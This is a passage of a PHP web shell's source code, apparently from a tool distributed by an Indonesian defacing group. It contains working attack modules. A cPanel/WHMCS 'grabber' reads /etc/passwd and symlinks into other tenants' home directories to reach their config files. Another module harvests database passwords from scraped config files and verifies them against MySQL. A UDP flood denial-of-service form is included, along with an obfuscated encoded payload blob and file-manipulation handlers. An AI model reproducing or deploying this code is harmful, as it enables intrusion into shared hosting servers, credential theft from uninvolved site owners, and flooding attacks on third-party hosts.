6171 echo "<center><table border=1 cellspacing=1 cellpading=1>
6172 <td width=300><font color=green> $defacedurl</font></td><td width=300><font color=green> $passchangedurl </font></td></tr></table></center>";
6173
6174
6175
6176 //declaring function entre2v2
6177 function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
6178 $ar0=explode($marqueurDebutLien, $text);
6179 $ar1=explode($marqueurFinLien, $ar0[$i]);
6180 return trim($ar1[0]);
6181 }
6182
6183 function randomt() {
6184
6185 $chars = "abcdefghijkmnopqrstuvwxyz023456789";
6186 srand((double)microtime()*1000000);
6187 $i = 0;
6188 $pass = '' ;
6189
6190 while ($i <= 7) {
6191 $num = rand() % 33;
6192 $tmp = substr($chars, $num, 1);
6193 $pass = $pass . $tmp;
6194 $i++;
6195 }
6196
6197 return $pass;
6198}
6199?>
6200
6201<?php }
6202# x=reseller
6203elseif(isset($_GET['x']) && ($_GET['x'] == 'reseller')){ ?>
6204<form action="?azzatssins=<?php echo $pwd; ?>&x=reseller" method="post">
6205
6206
6207 <?php
6208echo '<br><br><body bgcolor=black><center>
6209<img src="http://www.nextgenhost.net/icons/logo-cpanel-whm.png"><br/><br/>
6210<nobr><b><span class="b7">O=:[ CPANEL</span> <span class="b8">GRABBER ]:=O</nobr></span><br/><br/>
6211<form method="POST">
6212<center>
6213<textarea style="color:red;background-color:#000000" cols="60" name="passwd" rows="20">';
6214$uSr=file("/etc/passwd");
6215foreach($uSr as $usrr)
6216{
6217$str=explode(":",$usrr);
6218echo $str[0]."\n";
6219}
6220?>
6221
6222</textarea><p>
6223<nobr><font style="color:red;background-color:#000000">
6224[~] Home :
6225<select style="color:red;background-color:#000000" title="Select Target Home" name="home" size="10">
6226<option title="home" value="home">home</option>
6227<option title="home2" value="home2">home2</option>
6228<option title="home3" value="home3">home3</option>
6229<option title="home4" value="home4">home4</option>
6230<option title="home5" value="home5">home5</option>
6231<option title="home6" value="home6">home6</option>
6232<option title="home7" value="home7">home7</option>
6233<option title="home8" value="home8">home8</option>
6234<option title="home9" value="home9">home9</option>
6235<option title="home10" value="home10">home10</option>
6236</select> [~] Htaccess :
6237<select style="color:red;background-color:#000000" title="Select Software" name="soft" size="10">
6238<option title="Apache" value="Options all
6239Options +Indexes
6240Options +FollowSymLinks
6241DirectoryIndex Sux.html
6242AddType text/plain .php
6243AddHandler server-parsed .php
6244AddType text/plain .html
6245AddHandler txt .html
6246Require None
6247Satisfy Any">Apache</option>
6248<option title="Litespeed" value="
6249Options +FollowSymLinks
6250DirectoryIndex seees.html
6251RemoveHandler .php
6252AddType application/octet-stream .php ">Litespeed</option>
6253
6254</select> <input style="color:red;background-color:#000000" name="anu" size="10"
6255 value="<< START SCAN >>" type="submit">
6256<br/><br/></form></center>
6257
6258 <?php
6259@ini_set('html_errors',0);
6260@ini_set('max_execution_time',0);
6261@ini_set('display_errors', 0);
6262@ini_set('file_uploads',1);
6263if ($_POST['anu']) {
6264$path = $_POST['path'];
6265$home = $_POST['home'];
6266
6267$functions=@ini_get("disable_functions");
6268if(eregi("symlink",$functions))
6269{
6270die ('Kurang Ganteng Cok');
6271}
6272@mkdir(RESELLER, 0755);
6273@chdir(RESELLER);
6274$htaccess=$_POST['soft'];
6275file_put_contents(".htaccess",$htaccess,FILE_APPEND);
6276
6277$passwd=explode("\n",$_POST["passwd"]); foreach($passwd as $pwd){
6278$user=trim($pwd);
6279@symlink('/'.$home.'/'.$user.'/public_html/moving.page/index.html',$user.' <~ RESELLER1');
6280@symlink('/'.$home.'/'.$user.'/public_html/suspended.page/index.html',$user.' <~ RESELLER2');
6281}
6282
6283echo '<center>
6284<font face="Audiowide" size="5" style="color:red;background-color:#000000">
6285<img src="http://www.komunitas.for-indonesia.com/images/smiley/piss.gif"><br/>
6286Scanning Complete....<br/>
6287Now Checking Folder Result....<br/><br/><br/>
6288<a href="/RESELLER">O=[ GO TO HELL ]=O</a>
6289</font>
6290<br/><br/><br/></center> </body></html> ';
6291}
6292?>
6293
6294<?php }
6295# x=dmwhmcs11
6296elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs11')){ ?>
6297<form action="?azzatssins=<?php echo $pwd; ?>&x=dmwhmcs11" method="post">
6298
6299<?php
6300echo '<br><br><body bgcolor=black><center>
6301<img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"><br/><br/>
6302<nobr><span class="b7">O=:[ SCAN CMS</span> <span class="b8">WHMCS ]:=O</nobr></span><br/><br/>
6303<form method="POST">
6304<center>
6305<textarea style="color:red;background-color:#000000" cols="60" name="passwd" rows="20">';
6306$uSr=file("/etc/passwd");
6307foreach($uSr as $usrr)
6308{
6309$str=explode(":",$usrr);
6310echo $str[0]."\n";
6311}
6312?>
6313
6314</textarea><p>
6315<nobr><font style="color:red;background-color:#000000">
6316[~] Home :
6317<select style="color:red;background-color:#000000" title="Select Target Home" name="home" size="10">
6318<option title="home" value="home">home</option>
6319<option title="home2" value="home2">home2</option>
6320<option title="home3" value="home3">home3</option>
6321<option title="home4" value="home4">home4</option>
6322<option title="home5" value="home5">home5</option>
6323<option title="home6" value="home6">home6</option>
6324<option title="home7" value="home7">home7</option>
6325<option title="home8" value="home8">home8</option>
6326<option title="home9" value="home9">home9</option>
6327<option title="home10" value="home10">home10</option>
6328</select> [~] Htaccess :
6329<select style="color:red;background-color:#000000" title="Select Software" name="soft" size="10">
6330<option title="Apache" value="Options all
6331Options +Indexes
6332Options +FollowSymLinks
6333DirectoryIndex Sux.html
6334AddType text/plain .php
6335AddHandler server-parsed .php
6336AddType text/plain .html
6337AddHandler txt .html
6338Require None
6339Satisfy Any">Apache</option>
6340<option title="Litespeed" value="
6341Options +FollowSymLinks
6342DirectoryIndex seees.html
6343RemoveHandler .php
6344AddType application/octet-stream .php ">Litespeed</option>
6345
6346</select> <input style="color:red;background-color:#000000" name="anu" size="10"
6347 value="<< START SCAN >>" type="submit">
6348<br/><br/></form></center>
6349
6350 <?php
6351@ini_set('html_errors',0);
6352@ini_set('max_execution_time',0);
6353@ini_set('display_errors', 0);
6354@ini_set('file_uploads',1);
6355if ($_POST['anu']) {
6356$path = $_POST['path'];
6357$home = $_POST['home'];
6358
6359$functions=@ini_get("disable_functions");
6360if(eregi("symlink",$functions))
6361{
6362die ('Kurang Ganteng Cok');
6363}
6364@mkdir(WHMCS, 0755);
6365@chdir(WHMCS);
6366
6367
6368
6369$htaccess=$_POST['soft'];
6370file_put_contents(".htaccess",$htaccess,FILE_APPEND);
6371
6372$passwd=explode("\n",$_POST["passwd"]);
6373foreach($passwd as $pwd){
6374$user=trim($pwd);
6375
6376@symlink('/'.$home.'/'.$user.'/public_html/suspended.page/index.html',$user.' <~ RESELLER');
6377
6378@symlink('/'.$home.'/'.$user.'/public_html/modules/registrars/',$user.' <~ WHMCS-1'); @symlink('/'.$home.'/'.$user.'/public_html/account/modules/registrars/',$user.' <~ WHMCS-2');
6379@symlink('/'.$home.'/'.$user.'/public_html/accounts/modules/registrars/',$user.' <~ WHMCS-3');
6380@symlink('/'.$home.'/'.$user.'/public_html/central/modules/registrars/',$user.' <~ WHMCS-4');
6381@symlink('/'.$home.'/'.$user.'/public_html/clienti/modules/registrars/',$user.' <~ WHMCS-5');
6382@symlink('/'.$home.'/'.$user.'/public_html/client/modules/registrars/',$user.' <~ WHMCS-6');
6383@symlink('/'.$home.'/'.$user.'/public_html/cliente/modules/registrars/',$user.' <~ WHMCS-7');
6384@symlink('/'.$home.'/'.$user.'/public_html/clientes/modules/registrars/',$user.' <~ WHMCS-8');
6385@symlink('/'.$home.'/'.$user.'/public_html/clients/modules/registrars/',$user.' <~ WHMCS-9');
6386@symlink('/'.$home.'/'.$user.'/public_html/clientarea/modules/registrars/',$user.' <~ WHMCS-9');
6387@symlink('/'.$home.'/'.$user.'/public_html/clientsarea/modules/registrars/',$user.' <~ WHMCS-10');
6388@symlink('/'.$home.'/'.$user.'/public_html/client-area/modules/registrars/',$user.' <~ WHMCS-11');
6389@symlink('/'.$home.'/'.$user.'/public_html/clients-area/modules/registrars/',$user.' <~ WHMCS-12');
6390@symlink('/'.$home.'/'.$user.'/public_html/clientzone/modules/registrars/',$user.' <~ WHMCS-13');
6391@symlink('/'.$home.'/'.$user.'/public_html/client-zone/modules/registrars/',$user.' <~ WHMCS-14');
6392@symlink('/'.$home.'/'.$user.'/public_html/core/modules/registrars/',$user.' <~ WHMCS-15');
6393@symlink('/'.$home.'/'.$user.'/public_html/company/modules/registrars/',$user.' <~ WHMCS-16');
6394@symlink('/'.$home.'/'.$user.'/public_html/customer/modules/registrars/',$user.' <~ WHMCS-17');
6395@symlink('/'.$home.'/'.$user.'/public_html/customers/modules/registrars/',$user.' <~ WHMCS-18');
6396@symlink('/'.$home.'/'.$user.'/public_html/bill/modules/registrars/',$user.' <~ WHMCS-19');
6397@symlink('/'.$home.'/'.$user.'/public_html/billing/modules/registrars/',$user.' <~ WHMCS-20');
6398@symlink('/'.$home.'/'.$user.'/public_html/finance/modules/registrars/',$user.' <~ WHMCS-21');
6399@symlink('/'.$home.'/'.$user.'/public_html/financeiro/modules/registrars/',$user.' <~ WHMCS-22');
6400@symlink('/'.$home.'/'.$user.'/public_html/host/modules/registrars/',$user.' <~ WHMCS-23');
6401@symlink('/'.$home.'/'.$user.'/public_html/hosts/modules/registrars/',$user.' <~ WHMCS-24');
6402@symlink('/'.$home.'/'.$user.'/public_html/hosting/modules/registrars/',$user.' <~ WHMCS-25');
6403@symlink('/'.$home.'/'.$user.'/public_html/hostings/modules/registrars/',$user.' <~ WHMCS'-26);
6404@symlink('/'.$home.'/'.$user.'/public_html/klien/modules/registrars/',$user.' <~ WHMCS-27');
6405@symlink('/'.$home.'/'.$user.'/public_html/manage/modules/registrars/',$user.' <~ WHMCS-28');
6406@symlink('/'.$home.'/'.$user.'/public_html/manager/modules/registrars/',$user.' <~ WHMCS-29');
6407@symlink('/'.$home.'/'.$user.'/public_html/member/modules/registrars/',$user.' <~ WHMCS-30');
6408@symlink('/'.$home.'/'.$user.'/public_html/members/modules/registrars/',$user.' <~ WHMCS-31');
6409@symlink('/'.$home.'/'.$user.'/public_html/my/modules/registrars/',$user.' <~ WHMCS-32');
6410@symlink('/'.$home.'/'.$user.'/public_html/myaccount/modules/registrars/',$user.' <~ WHMCS-33');
6411@symlink('/'.$home.'/'.$user.'/public_html/my-account/client/modules/registrars/',$user.' <~ WHMCS-34');
6412@symlink('/'.$home.'/'.$user.'/public_html/myaccounts/modules/registrars/',$user.' <~ WHMCS-35');
6413@symlink('/'.$home.'/'.$user.'/public_html/my-accounts/modules/registrars/',$user.' <~ WHMCS-36');
6414@symlink('/'.$home.'/'.$user.'/public_html/order/modules/registrars/',$user.' <~ WHMCS-37');
6415@symlink('/'.$home.'/'.$user.'/public_html/orders/modules/registrars/',$user.' <~ WHMCS-38');
6416@symlink('/'.$home.'/'.$user.'/public_html/painel/modules/registrars/',$user.' <~ WHMCS-39');
6417@symlink('/'.$home.'/'.$user.'/public_html/panel/modules/registrars/',$user.' <~ WHMCS-40');
6418@symlink('/'.$home.'/'.$user.'/public_html/panels/modules/registrars/',$user.' <~ WHMCS-41');
6419@symlink('/'.$home.'/'.$user.'/public_html/portal/modules/registrars/',$user.' <~ WHMCS-42');
6420@symlink('/'.$home.'/'.$user.'/public_html/portals/modules/registrars/',$user.' <~ WHMCS-43');
6421@symlink('/'.$home.'/'.$user.'/public_html/secure/modules/registrars/',$user.' <~ WHMCS-44');
6422@symlink('/'.$home.'/'.$user.'/public_html/support/modules/registrars/',$user.' <~ WHMCS-45');
6423@symlink('/'.$home.'/'.$user.'/public_html/supporte/modules/registrars/',$user.' <~ WHMCS-46');
6424@symlink('/'.$home.'/'.$user.'/public_html/supports/modules/registrars/',$user.' <~ WHMCS-47');
6425@symlink('/'.$home.'/'.$user.'/public_html/web/modules/registrars/',$user.' <~ WHMCS-48');
6426@symlink('/'.$home.'/'.$user.'/public_html/webhost/modules/registrars/',$user.' <~ WHMCS-49');
6427@symlink('/'.$home.'/'.$user.'/public_html/webhosting/modules/registrars/',$user.' <~ WHMCS-50');
6428@symlink('/'.$home.'/'.$user.'/public_html/whm/modules/registrars/',$user.' <~ WHMCS-51');
6429@symlink('/'.$home.'/'.$user.'/public_html/whmcs/modules/registrars/',$user.' <~ WHMCS-52');
6430@symlink('/'.$home.'/'.$user.'/public_html/whmcs2/modules/registrars/',$user.' <~ WHMCS-53');
6431@symlink('/'.$home.'/'.$user.'/public_html/Whm/modules/registrars/',$user.' <~ WHMCS-54');
6432@symlink('/'.$home.'/'.$user.'/public_html/Whmcs/modules/registrars/',$user.' <~ WHMCS-55');
6433@symlink('/'.$home.'/'.$user.'/public_html/WHM/modules/registrars/',$user.' <~ WHMCS-56');
6434@symlink('/'.$home.'/'.$user.'/public_html/WHMCS/modules/registrars/',$user.' <~ WHMCS-57');
6435}
6436echo '<hr color="#00bfff"><center>
6437<font face="Audiowide" size="5" style="color:#00bfff;background-color:#000000">
6438<img src="http://www.komunitas.for-indonesia.com/images/smiley/piss.gif"><br/>
6439Scanning Complete....<br/>
6440Now Checking Folder Result....<br/><br/><br/>
6441<a href="/WHMCS">O=[ GO TO HELL ]=O</a>
6442</font>
6443<br/><br/><br/></center> </body></html> ';
6444}
6445?>
6446
6447<?php }
6448# x=cp3
6449elseif(isset($_GET['x']) && ($_GET['x'] == 'cp3')){
6450?>
6451<form action="?azzatssins=<?php echo $pwd; ?>&x=cp3" method="post">
6452
6453<?php
6454set_time_limit(0);
6455error_reporting(0);
6456if(isset($_POST['url'])){
6457$url = $_POST['url'];
6458}else{
6459$url = 'http://';
6460}
6461echo '<center><br/><br/><nobr><span class="b7">O=:[ CPANEL</span> <span class="b8">GRABBER ]:=O</nobr><br/><br/>
6462<form method="POST">
6463<input name="url" style="color:#FF0000;background-color:#000000" type="text" value="'.$url.'" size="40"/><br/>
6464<p><input type="submit" style="color:#FF0000;background-color:#000000" value="--:[ CROTZ ]:--"/>
6465</form><br/><br/>';
6466if(isset($_POST['url'])){
6467if(!file_get_contents($url)){
6468echo '--:[ ERROR BRAY ]:--';
6469}else{
6470$a = 0;
6471foreach(get_data($url) as $info){
6472if(login($info[0],$info[1])){
6473echo "<b style=' color: #808080 ; text-shadow:0px 0px 1px #808080 ;'>-:[ USERNAME & PASSWORD ]:-</b> <b style=' color: #0000FF ; text-shadow:0px 0px 1px #0000FF ;'>[$info[0]]</b> <b style=' color: #CC0000; text-shadow:0px 0px 1px #CC0000;'>[$info[1]]</b><br />";
6474$a++;
6475}
6476}
6477echo "<b style=' color: #808080 ; text-shadow:0px 0px 1px #808080 ;'><hr> *SUKSES ^_^ || $a CPANEL FOUNDED*<br />";
6478}
6479}
6480echo '<br/><div align="center"><font color="blue" face="Verdana" size="3">--=|[+] Sh4d0w4rT [+]|=--</font></div>
6481</body>
6482</html>';
6483function ex($a,$b,$text){
6484$explode = explode($a,$text);
6485$explode = explode($b,$explode[1]);
6486return $explode[0];
6487}
6488function login($user,$pass){
6489$c = @mysql_connect('localhost',$user,$pass);
6490if($c){
6491mysql_close($c);
6492return true;
6493}else{
6494return false;
6495}
6496}
6497function get_data($url){
6498$ar = array('1.txt','2.txt','3.txt','4.txt','5.txt','6.txt','7.txt','8.txt','9.txt','10.txt','11.txt','12.txt','13.txt','14txt','15.txt','16.txt','17.txt','18.txt','19.txt','20.txt','21.txt','22.txt','23.txt','24.txt','25.txt','26.txt','27.txt','28.txt','29.txt','30.txt','31.txt','32.txt','33.txt','34.txt','35.txt','36.txt','37.txt','38.txt','39.txt','40.txt','41.txt','42.txt','43.txt','44.txt','45.txt','46.txt','47.txt','48.txt','49.txt','50.txt');
6499$src = file_get_contents($url);
6500$files = explode('<a href="',$src);
6501$data = array();
6502foreach($files as $id=>$file){
6503if($id == 0){
6504continue;
6505}
6506$file = explode('">',$file);
6507$file = trim($file[0]);
6508if(!eregi('.txt',$file)){
6509continue;
6510}
6511$src = file_get_contents("$url/$file");
6512if(!$src){
6513continue;
6514}
6515$user = str_replace($ar,'',$file);
6516$user = str_replace($ar,'',$user.'.txt');
6517$user = str_replace($ar,'',$user.'.txt');
6518$user = trim(str_replace('.txt','',$user));
6519if(eregi("WordPress",$src)){
6520$pass = ex("define('DB_PASSWORD', '","');",$src);
6521$data[] = array($user,$pass);
6522}else{
6523$tokens = token_get_all($src);
6524foreach($tokens as $token){
6525if(!$token[1]){
6526continue;
6527}
6528$tokenname = token_name($token[0]);
6529if($tokenname != 'T_VARIABLE'){
6530continue;
6531}
6532$var = $token[1];
6533if(eregi('pass',$var)){
6534$f = str_replace(' ','',ex($var,';',$src));
6535$a = trim(ex("='","'",$f));
6536$b = trim(ex('"','"',$f));
6537if($a != ''){
6538$pass = $a;
6539}elseif($b != ''){
6540$pass = $b;
6541}
6542if($pass == ''){
6543continue;
6544}
6545$data[] = array($user,$pass);
6546}
6547}
6548}
6549}
6550return $data;
6551}
6552;
6553return;
6554?>~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alVnRPIq
6555
6556
6557<?php }
6558# x=dos
6559elseif(isset($_GET['x']) && ($_GET['x'] == 'dos')){
6560?>
6561<form action="?azzatssins=<?php echo $pwd; ?>&x=dos" method="post">
6562
6563<?php
6564if(isset($_GET['host'])&&isset($_GET['time'])){
6565$packets = 0;
6566ignore_user_abort(TRUE);
6567set_time_limit(0);
6568$exec_time = $_GET['time'];
6569$time = time();
6570print "Started: ".time('d-m-y h:i:s')."<br>";
6571$max_time = $time+$exec_time;
6572$host = $_GET['host'];
6573for($i=0;$i<65000;$i++){
6574$out .= 'X';
6575}
6576while(1){
6577$packets++;
6578if(time() > $max_time){ break; }
6579$rand = rand(1,65000);
6580$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
6581if($fp){
6582fwrite($fp, $out);
6583fclose($fp);
6584}
6585}
6586echo "<br><b>UDP Flood</b><br>
6587Completed with $packets (" .round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
6588
6589echo '<br><br><form action="'.$surl.'" method=GET><input type="hidden" name="act" value="phptools">
6590Host: <br><input type=text name=host><br>
6591Length (seconds): <br><input type=text name=time><br>
6592<input type=submit value=Go></form>';
6593} else {
6594echo '<center><form action=? method=GET><input type="hidden" name="act" value="phptools">
6595<table class="tabnet" style="width:300px;">
6596<tr><th colspan="2">UDP Flood</th></tr>
6597<tr><td> Host</td>
6598<td><input style="width:220px;" class="inputz" type=text name=host value=></td></tr>
6599<tr><td> Length (seconds)</td>
6600<td><input style="width:220px;" class="inputz" type=text name=time value=></td></tr>
6601<tr><td colspan=2 align=center><input style="width:100%;" class="inputzbut" type="submit" value="Attack !" /></td></tr>
6602</table></center>';
6603}
6604}
6605
6606
6607elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
6608@ob_start();
6609@eval("phpinfo();");
6610$buff = @ob_get_contents();
6611@ob_end_clean();
6612$awal = strpos($buff,"<body>")+6;
6613$akhir = strpos($buff,"</body>");
6614echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
6615}
6616
6617elseif(isset($_GET['view']) && ($_GET['view'] != "")){
6618if(is_file($_GET['view'])){
6619
6620if(!isset($file))
6621$file = magicboom($_GET['view']);
6622
6623if(!$win && $posix){
6624$name=@posix_getpwuid(@fileowner($file));
6625$group=@posix_getgrgid(@filegroup($file));
6626$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
6627} else {
6628$owner = $user;
6629}
6630$filn = basename($file);
6631echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
6632<tr><td>Filename</td>
6633<td><nobr><span id=\"".clearspace($filn)."_link\">".$file."</span>
6634<form action=\"?azzatssins=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
6635<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
6636<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
6637<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
6638<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
6639onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
6640</form></nobr></td></tr>
6641
6642<tr><td>Size</td>
6643<td>".ukuran($file)."</td></tr>
6644<tr><td>Permission</td>
6645<td>".get_perms($file)."</td></tr>
6646<tr><td>Owner</td>
6647<td>".$owner."</td></tr>
6648<tr><td>Create time</td>
6649<td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
6650<tr><td>Last modified</td>
6651<td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
6652<tr><td>Last accessed</td>
6653<td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
6654<tr><td>Actions</td>
6655<td><a href=\"?azzatssins=$pwd&edit=$file\">Edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">Rename</a> | <a href=\"?azzatssins=$pwd&delete=$file\">Delete</a> | <a href=\"?azzatssins=$pwd&dl=$file\">Download</a> (<a href=\"?azzatssins=$pwd&dlgzip=$file\">gzip</a>)</td></tr>
6656
